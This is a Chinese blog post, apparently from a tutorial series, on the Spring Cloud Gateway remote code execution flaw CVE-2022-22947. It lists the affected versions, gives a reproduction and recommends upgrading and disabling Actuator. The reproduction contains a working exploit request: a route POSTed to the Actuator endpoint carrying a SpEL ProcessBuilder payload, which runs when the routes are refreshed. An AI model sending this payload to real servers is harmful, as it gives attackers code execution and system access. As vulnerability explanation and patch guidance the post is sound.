SpringCloudGateway系列【14】SpringCloudGateway远程代。。。
⽂章⽬录
漏洞说明
近⽇,VMware 官⽅发布安全公告,其中包含Spring Cloud Gateway远程代码执⾏漏洞(CVE-2022-22947)。使⽤ Spring Cloud Gateway的应⽤如果对外暴露了 Gateway Actuator接⼝,则可能存在被CVE-2022-22947漏洞利⽤的风险,攻击者可通过利⽤此漏洞执⾏ SpEL 表达式,从⽽在⽬标服务器上执⾏任意恶意代码,获取系统权限。
影响范围
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不受⽀持的 Spring Cloud Gateway 版本
漏洞复现
1. 搭建项⽬
参照本系列之前的⽂档搭建⼏个项⽬,并集成Actuator。
访问 Actuator 路由端点,
GET localhost:8443/actuator/gateway/routes
2. 注⼊恶意代码
执⾏恶意代码分为两步:
添加携带恶意代码的路由
刷新路由信息
⾸先访问actuator 端点,添加⼀个携带了恶意代码(执⾏打开计算器)的路由:POST localhost:8443/actuator/gateway/routes/test
{
"id":"test",
"filters":[{
"name":"AddResponseHeader",
"args":{
"name":"Result",
"value":"#{new java.lang.ProcessBuilder(\"calc\").start()}"
}
}],
"uri":"www.baidu"
}
然后访问刷新路由端点,可以看到恶意代码执⾏(打开了计算器)。如果通过这种⽅式获取系统权限、
植⼊⽊马病毒,那么问题就⽐较严重了。
解决⽅案
更新升级 Spring Cloud Gateway 到以下安全版本:
Spring Cloud Gateway 3.1.1
Spring Cloud Gateway 3.0.7
springcloud集成log4j2考虑不影响业务的情况下禁⽤ Actuator 接⼝,通过配置将其禁⽤:
对于已中毒的服务器最好进⾏重装处理。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。